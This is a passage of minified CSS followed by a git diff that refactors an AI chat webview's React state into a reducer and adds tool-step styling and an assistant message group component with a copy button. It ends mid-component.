#ffffff0a;caret-color:var(--accent-strong);cursor:text}.composer-input:focus{border-color:var(--input-focus-border);box-shadow:0 0 0 4px var(--input-focus-ring)}.composer-input::placeholder{color:var(--input-placeholder)}.send-button.ant-btn{height:44px;border-radius:16px;border:1px solid rgba(240,196,136,.28);background:var(--send-button-bg)!important;box-shadow:var(--send-button-shadow)}.send-button.ant-btn:disabled{background:var(--send-button-disabled-bg)!important;border-color:var(--send-button-disabled-border)!important;box-shadow:none}@keyframes blink{0%,to{opacity:1}50%{opacity:0}}.exec-card{max-width:min(88%,720px);border-radius:14px;border:1px solid var(--border);background:var(--assistant-bubble-bg),var(--panel);padding:10px 14px;font-size:13px}.exec-card-header{margin-bottom:6px}.exec-card-command{font-size:12px!important}.exec-log-panel{margin-top:8px;border-radius:10px;border:1px solid var(--border);background:var(--pre-bg);overflow:hidden}.exec-log-header{display:flex;align-items:center;gap:8px;padding:5px 12px;cursor:pointer;user-select:none;font-size:11px;color:var(--muted);border-bottom:1px solid var(--border)}.exec-log-header:hover{color:var(--accent-strong)}.exec-log-title{font-family:var(--font-mono);letter-spacing:.02em}.exec-log-body{max-height:220px;overflow-y:auto;padding:6px 12px;font-family:var(--font-mono);font-size:11px;line-height:1.6}.exec-log-line{white-space:pre-wrap;word-break:break-all;padding:1px 0}.exec-log-stdout{color:var(--text);opacity:.85}.exec-log-stderr{color:var(--danger)}.exec-log-info{color:var(--accent);opacity:.9}.tool-steps-bar{display:flex;flex-direction:column;gap:2px;margin-top:10px;padding:4px;border-radius:8px;background:#ffffff0a}.tool-step-row{border-radius:4px;overflow:hidden;font-size:12px;transition:background .15s ease}.tool-step-row--running{background:#52c41a0a}.tool-step-row--completed:hover{background:#ffffff0f}.tool-step-row--failed:hover{background:#ff4d4f0f}.tool-step-header{display:flex;align-items:center;gap:6px;height:28px;padding:0 8px;user-select:none}.tool-step-status-icon{display:inline-flex;align-items:center;font-size:12px;flex-shrink:0}.tool-step-tool-icon{flex-shrink:0;font-size:13px}.tool-step-summary{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;color:var(--muted);font-family:var(--font-mono);font-size:11px;letter-spacing:.01em}.tool-step-ellipsis{color:var(--muted);opacity:.6}.tool-step-duration{flex-shrink:0;font-size:11px;color:#888;font-variant-numeric:tabular-nums}.tool-step-toggle{flex-shrink:0;font-size:10px;color:var(--muted);opacity:.5;transition:opacity .15s}.tool-step-header:hover .tool-step-toggle,.tool-step-summary-row:hover .tool-step-toggle,.tool-step-collapse-row:hover .tool-step-toggle{opacity:1}.tool-step-summary-row,.tool-step-collapse-row{display:flex;align-items:center;gap:6px;height:28px;padding:0 8px;cursor:pointer;user-select:none;border-radius:4px;transition:background .15s ease}.tool-step-summary-row:hover{background:#ffffff0f}.tool-step-collapse-row{color:var(--muted);font-size:12px;border-bottom:1px solid var(--border);margin-bottom:2px;border-radius:4px 4px 0 0}.tool-step-collapse-row:hover{background:#ffffff0a}.tool-step-summary-text{flex:1;font-size:12px;color:var(--muted)}.tool-step-output{border-top:1px solid var(--border);background:#00000026;margin:0 4px 4px;border-radius:4px;max-height:300px;overflow-y:auto;animation:tool-step-expand .15s ease-out}@keyframes tool-step-expand{0%{max-height:0;opacity:0}to{max-height:300px;opacity:1}}.tool-step-output-pre{margin:0;padding:8px 10px;font-family:var(--font-mono);font-size:11px;line-height:1.5;white-space:pre-wrap;word-break:break-all;color:var(--text);opacity:.85}.theme-light .tool-steps-bar{background:#00000008}.theme-light .tool-step-output{background:#0000000a}
diff --git a/webview/package.json b/webview/package.json index 9ba675c..3b0d0a9 100644 --- a/webview/package.json +++ b/webview/package.json @@ -6,7 +6,7 @@ "scripts": { "dev": "vite", "build": "tsc && vite build", - "test": "tsc -p tsconfig.test.json && node --test test/sendState.test.mjs test/statusState.test.mjs test/composerState.test.mjs test/contextState.test.mjs test/executionCard.test.mjs test/executionStatus.test.mjs", + "test": "tsc -p tsconfig.test.json && node --test test/sendState.test.mjs test/statusState.test.mjs test/composerState.test.mjs test/contextState.test.mjs test/executionCard.test.mjs test/executionStatus.test.mjs test/eventReducer.test.mjs test/groupReducer.test.mjs", "postbuild": "node scripts/copy-dist.mjs", "preview": "vite preview" }, diff --git a/webview/src/App.css b/webview/src/App.css index 8e58f95..51c5045 100644 --- a/webview/src/App.css +++ b/webview/src/App.css @@ -551,3 +551,169 @@ body::before { color: var(--accent); opacity: 0.9; } + +/* Tool Steps Bar */ +.tool-steps-bar { + display: flex; + flex-direction: column; + gap: 2px; + margin-top: 10px; + padding: 4px; + border-radius: 8px; + background: rgba(255, 255, 255, 0.04); +} + +.tool-step-row { + border-radius: 4px; + overflow: hidden; + font-size: 12px; + transition: background 150ms ease; +} + +.tool-step-row--running { + background: rgba(82, 196, 26, 0.04); +} + +.tool-step-row--completed:hover { + background: rgba(255, 255, 255, 0.06); +} + +.tool-step-row--failed:hover { + background: rgba(255, 77, 79, 0.06); +} + +.tool-step-header { + display: flex; + align-items: center; + gap: 6px; + height: 28px; + padding: 0 8px; + user-select: none; +} + +.tool-step-status-icon { + display: inline-flex; + align-items: center; + font-size: 12px; + flex-shrink: 0; +} + +.tool-step-tool-icon { + flex-shrink: 0; + font-size: 13px; +} + +.tool-step-summary { + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + color: var(--muted); + font-family: var(--font-mono); + font-size: 11px; + letter-spacing: 0.01em; +} + +.tool-step-ellipsis { + color: var(--muted); + opacity: 0.6; +} + +.tool-step-duration { + flex-shrink: 0; + font-size: 11px; + color: #888; + font-variant-numeric: tabular-nums; +} + +.tool-step-toggle { + flex-shrink: 0; + font-size: 10px; + color: var(--muted); + opacity: 0.5; + transition: opacity 150ms; +} + +.tool-step-header:hover .tool-step-toggle, +.tool-step-summary-row:hover .tool-step-toggle, +.tool-step-collapse-row:hover .tool-step-toggle { + opacity: 1; +} + +/* Summary row (collapsed state) */ +.tool-step-summary-row, +.tool-step-collapse-row { + display: flex; + align-items: center; + gap: 6px; + height: 28px; + padding: 0 8px; + cursor: pointer; + user-select: none; + border-radius: 4px; + transition: background 150ms ease; +} + +.tool-step-summary-row:hover { + background: rgba(255, 255, 255, 0.06); +} + +.tool-step-collapse-row { + color: var(--muted); + font-size: 12px; + border-bottom: 1px solid var(--border); + margin-bottom: 2px; + border-radius: 4px 4px 0 0; +} + +.tool-step-collapse-row:hover { + background: rgba(255, 255, 255, 0.04); +} + +.tool-step-summary-text { + flex: 1; + font-size: 12px; + color: var(--muted); +} + +.tool-step-output { + border-top: 1px solid var(--border); + background: rgba(0, 0, 0, 0.15); + margin: 0 4px 4px; + border-radius: 4px; + max-height: 300px; + overflow-y: auto; + animation: tool-step-expand 150ms ease-out; +} + +@keyframes tool-step-expand { + from { + max-height: 0; + opacity: 0; + } + to { + max-height: 300px; + opacity: 1; + } +} + +.tool-step-output-pre { + margin: 0; + padding: 8px 10px; + font-family: var(--font-mono); + font-size: 11px; + line-height: 1.5; + white-space: pre-wrap; + word-break: break-all; + color: var(--text); + opacity: 0.85; +} + +/* Light theme overrides */ +.theme-light .tool-steps-bar { + background: rgba(0, 0, 0, 0.03); +} + +.theme-light .tool-step-output { + background: rgba(0, 0, 0, 0.04); +} diff --git a/webview/src/App.tsx b/webview/src/App.tsx index 536d7b2..f5a94b5 100644 --- a/webview/src/App.tsx +++ b/webview/src/App.tsx @@ -2,41 +2,48 @@ import { useCallback, useEffect, useRef, useState } from 'react' import { BorderOutlined, SendOutlined } from '@ant-design/icons' import { Button, ConfigProvider, Switch, Tooltip, Typography, theme as antdTheme } from 'antd' import { v4 as uuidv4 } from 'uuid' +import { AssistantGroup } from './components/AssistantGroup' import { ApprovalDialog } from './components/ApprovalDialog' import { ErrorBanner } from './components/ErrorBanner' -import { Message, MessageBubble } from './components/MessageBubble' import { ProviderBar } from './components/ProviderBar' -import type { ExecutionCardData, ExecutionStatus, LogEntry } from './components/ExecutionCard' import { getComposerReadiness } from './composerState' import { getContextToggleMeta } from './contextState' -import { parseExecutionResultPayload, stringifyExecutionResultPayload } from './executionStatus' +import { stringifyExecutionResultPayload } from './executionStatus' +import { GroupState, groupReducer } from './groupReducer' import { useBridge } from './hooks/useBridge' import { prepareSendPayload } from './sendState' -import { applyBridgeStatus, applyContextFile } from './statusState' -import type { BridgeError } from './types/bridge' import { BridgeStatus } from './types/bridge' import './App.css' -export default function App() { - const [messages, setMessages] = useState([]) - const [inputText, setInputText] = useState('') - const isComposingRef = useRef(false) - const [isLoading, setIsLoading] = useState(false) - const [includeContext, setIncludeContext] = useState(true) - const [error, setError] = useState(null) - const [status, setStatus] = useState({ +const initialAppState: GroupState = { + groups: [], + isLoading: false, + error: null, + status: { providerName: '', model: '', connectionState: 'unconfigured', contextFile: '', - }) - const [themeMode, setThemeMode] = useState<'dark' | 'light'>('dark') + }, + themeMode: 'dark', + approvalOpen: false, + approvalRequestId: '', + approvalCommand: '', + approvalDescription: '', + approvalToolName: '', + fileChangeAutos: [], + continuationInfo: null, + currentRoundTextIndex: null, +} + +export default function App() { + const [appState, setAppState] = useState(initialAppState) + const [inputText, setInputText] = useState('') + const isComposingRef = useRef(false) + const [includeContext, setIncludeContext] = useState(true) const messagesEndRef = useRef(null) - const [approvalOpen, setApprovalOpen] = useState(false) - const [approvalRequestId, setApprovalRequestId] = useState('') - const [approvalCommand, setApprovalCommand] = useState('') - const [approvalDescription, setApprovalDescription] = useState('') - const [continuationInfo, setContinuationInfo] = useState<{ current: number; max: number } | null>(null) + + const { groups, isLoading, error, status, themeMode, approvalOpen, approvalRequestId, approvalCommand, approvalDescription, approvalToolName, continuationInfo } = appState // Apply theme class to document root useEffect(() => { @@ -50,195 +57,46 @@ export default function App() { useEffect(() => { scrollToBottom() - }, [messages]) - - const onStart = useCallback((msgId: string) => { - setIsLoading(true) - setError(null) - setMessages((prev) => [ - ...prev, - { id: msgId, role: 'assistant', content: '', isStreaming: true }, - ]) - }, []) - - const onToken = useCallback((token: string) => { - setMessages((prev) => - prev.map((message) => - message.isStreaming ? { ...message, content: message.content + token } : message, - ), - ) - }, []) - - const onEnd = useCallback((_msgId: string) => { - setIsLoading(false) - setContinuationInfo(null) - setMessages((prev) => - prev.map((message) => (message.isStreaming ? { ...message, isStreaming: false } : message)), - ) - }, []) - - const onError = useCallback((message: string) => { - setIsLoading(false) - setContinuationInfo(null) - setMessages((prev) => - prev.map((item) => (item.isStreaming ? { ...item, isStreaming: false } : item)), - ) - setError({ type: 'runtime', message }) - }, []) - - const onStructuredError = useCallback((bridgeError: BridgeError) => { - setIsLoading(false) - setMessages((prev) => - prev.map((item) => (item.isStreaming ? { ...item, isStreaming: false } : item)), - ) - setError(bridgeError) - }, []) - - const onContextFile = useCallback((fileName: string) => { - setStatus(prev => applyContextFile(prev, fileName)) - }, []) - - const onTheme = useCallback((newTheme: 'dark' | 'light') => { - setThemeMode(newTheme) - }, []) - - const onStatus = useCallback((nextStatus: BridgeStatus) => { - setStatus(prev => applyBridgeStatus(prev, nextStatus)) - }, []) + }, [groups]) const emitFrontendDebugLog = useCallback((message: string) => { window.__bridge?.debugLog(message) }, []) - const onExecutionCard = useCallback((requestId: string, command: string, description: string) => { - emitFrontendDebugLog( - `[approval-ui] received execution card requestId=${requestId} command=${command} description=${description}`, - ) - setMessages((prev) => [ - ...prev, - { - id: requestId, - role: 'execution' as const, - content: '', - execution: { requestId, command, status: 'running' as ExecutionStatus }, - }, - ]) - }, [emitFrontendDebugLog]) - - const onApprovalRequest = useCallback((requestId: string, command: string, description: string) => { - emitFrontendDebugLog( - `[approval-ui] received approval request requestId=${requestId} command=${command} description=${description}`, - ) - setApprovalRequestId(requestId) - setApprovalCommand(command) - setApprovalDescription(description) - setApprovalOpen(true) - setMessages((prev) => - prev.map((msg) => - msg.id === requestId - ? { ...msg, execution: { ...msg.execution!, status: 'waiting' as ExecutionStatus } } - : msg - ) - ) - }, [emitFrontendDebugLog]) + const handleEvent = useCallback((type: string, payload: any) => { + if (type === 'execution_card') { + emitFrontendDebugLog(`[approval-ui] received execution card requestId=${payload.requestId} command=${payload.command} description=${payload.description}`) + } else if (type === 'approval_request') { + emitFrontendDebugLog(`[approval-ui] received approval request requestId=${payload.requestId} command=${payload.command} description=${payload.description}`) + } else if (type === 'execution_status') { + const rawResult = stringifyExecutionResultPayload(payload.result) + emitFrontendDebugLog(`[approval-ui] received execution status requestId=${payload.requestId} status=${payload.status} result=${rawResult.slice(0, 240)}`) + } - const onExecutionStatus = useCallback((requestId: string, status: string, resultJson: string) => { - const rawResult = stringifyExecutionResultPayload(resultJson) - emitFrontendDebugLog( - `[approval-ui] received execution status requestId=${requestId} status=${status} result=${rawResult.slice(0, 240)}`, - ) - const result = parseExecutionResultPayload(resultJson) - setMessages((prev) => - prev.map((msg) => - msg.id === requestId - ? { ...msg, execution: { ...msg.execution!, status: status as ExecutionStatus, result } } - : msg - ) - ) + setAppState(prev => groupReducer(prev, type, payload)) }, [emitFrontendDebugLog]) const handleApprovalAllow = useCallback((addToWhitelist: boolean) => { emitFrontendDebugLog(`[approval-ui] modal allow clicked requestId=${approvalRequestId} addToWhitelist=${addToWhitelist}`) - setApprovalOpen(false) + setAppState(prev => ({ ...prev, approvalOpen: false })) window.__bridge?.approvalResponse(approvalRequestId, 'allow', addToWhitelist) }, [approvalRequestId, emitFrontendDebugLog]) const handleApprovalDeny = useCallback(() => { emitFrontendDebugLog(`[approval-ui] modal deny clicked requestId=${approvalRequestId}`) - setApprovalOpen(false) + setAppState(prev => ({ ...prev, approvalOpen: false })) window.__bridge?.approvalResponse(approvalRequestId, 'deny') }, [approvalRequestId, emitFrontendDebugLog]) - const onRestoreMessages = useCallback((messagesJson: string) => { - try { - const restored = JSON.parse(messagesJson) as Array<{ id: string; role: string; content: string }> - setMessages(restored.flatMap((message) => { - if (message.role !== 'user' && message.role !== 'assistant') { - return [] - } - if (message.role === 'assistant' && message.content.trim().length === 0) { - return [] - } - return [{ - id: message.id, - role: message.role, - content: message.content, - isStreaming: false, - }] - })) - } catch { - // ignore malformed restore data - } - }, []) - - const onLog = useCallback((requestId: string, logLine: string, type: string) => { - setMessages((prev) => - prev.map((msg) => - msg.id === requestId - ? { - ...msg, - execution: { - ...msg.execution!, - logs: [...(msg.execution?.logs || []), { text: logLine, type: type as LogEntry['type'] }], - }, - } - : msg - ) - ) - }, []) - - const onContinuation = useCallback((current: number, max: number) => { - setContinuationInfo({ current, max }) - }, []) - - const onRemoveMessage = useCallback((msgId: string) => { - setMessages((prev) => prev.filter((m) => m.id !== msgId)) - }, []) - // Build theme algorithm for Ant Design const themeAlgorithm = themeMode === 'dark' ? antdTheme.darkAlgorithm : antdTheme.defaultAlgorithm - const bridgeReady = useBridge({ - onStart, - onToken, - onEnd, - onError, - onStructuredError, - onStatus, - onContextFile, - onTheme, - onApprovalRequest, - onExecutionCard, - onExecutionStatus, - onLog, - onRestoreMessages, - onContinuation, - onRemoveMessage, - }) + const bridgeReady = useBridge(handleEvent) + // Clear stale errors when the bridge reconnects (e.g., after webview reload) useEffect(() => { if (bridgeReady) { - setError(null) + setAppState(prev => ({ ...prev, error: null })) } }, [bridgeReady]) @@ -253,7 +111,7 @@ export default function App() { const handleSend = () => { if (!composerReadiness.canSend) { if (composerReadiness.reason && composerReadiness.text) { - setError({ type: 'runtime', message: composerReadiness.reason! }) + setAppState(prev => ({ ...prev, error: { type: 'runtime' as const, message: composerReadiness.reason! } })) } return } @@ -262,10 +120,11 @@ export default function App() { if (!payload) return const userMsgId = uuidv4() - setMessages((prev) => [...prev, { id: userMsgId, role: 'user', content: payload.text }]) + setAppState(prev => ({ + ...prev, + groups: [...prev.groups, { type: 'human' as const, id: userMsgId, message: { id: userMsgId, content: payload.text } }], + })) setInputText('') - // loading + error are set in onStart (source of truth), which fires when the backend - // begins streaming. This also handles non-handleSend entry points like "Ask AI". window.__bridge?.sendMessage(payload.text, includeContext) } @@ -277,9 +136,13 @@ export default function App() { } const handleNewChat = () => { - setMessages([]) - setError(null) - setIsLoading(false) + setAppState(prev => ({ + ...prev, + groups: [], + error: null, + isLoading: false, + currentRoundTextIndex: null, + })) window.__bridge?.newChat() } @@ -333,10 +196,10 @@ export default function App() { bridgeReady={bridgeReady} /> - {error && setError(null)} />} + {error && setAppState(prev => ({ ...prev, error: null }))} />}
- {messages.length === 0 && ( + {groups.length === 0 && (
@@ -357,23 +220,28 @@ export default function App() {
)} - {messages.map((message) => ( - - ))} + {groups.map(group => { + if (group.type === 'human') { + return ( +
+
+ {group.message.content} +
+
+ ) + } + return + })} - {(continuationInfo) && ( + {isLoading && !groups.some(g => + g.type === 'assistant' && g.children.some(c => c.kind === 'text' && c.isStreaming) + ) && (
{continuationInfo && 续写中 {continuationInfo.current}/{continuationInfo.max}}
)} - {(!continuationInfo && isLoading && !messages.some((m) => m.isStreaming) && messages.some((m) => m.role === 'execution')) && ( -
- -
- )} -
diff --git a/webview/src/components/AssistantGroup.tsx b/webview/src/components/AssistantGroup.tsx new file mode 100644 index 0000000..056f9d9 --- /dev/null +++ b/webview/src/components/AssistantGroup.tsx @@ -0,0 +1,81 @@ +import { memo, useState } from 'react' +import { CheckOutlined, CopyOutlined } from '@ant-design/icons' +import { Button, Typography } from 'antd' +import type { AssistantGroup as AssistantGroupType } from '../groupReducer' +import { AssistantMarkdown } from './AssistantMarkdown' +import { ExecutionCard } from './ExecutionCard' + +async function copyText(text: string): Promise { + if (navigator.clipboard?.writeText) { + try { + await navigator.clipboard.writeText(text) + return true + } catch { + // Fall through + } + } + + const textarea = document.createElement('textarea') + textarea.value = text + textarea.style.position = 'fixed' + textarea.style.opacity = '0' + document.body.appendChild(textarea) + textarea.focus() + textarea.select() + + try { + return document.execCommand('copy') + } finally { + document.body.removeChild(textarea) + } +} + +function CopyButton({ text }: { text: string }) { + const [copied, setCopied] = useState(false) + + const handleCopy = async () => { + const success = await copyText(text) + if (!success) return + + setCopied(true) + setTimeout(() => setCopied(false), 2000) + } + + return ( +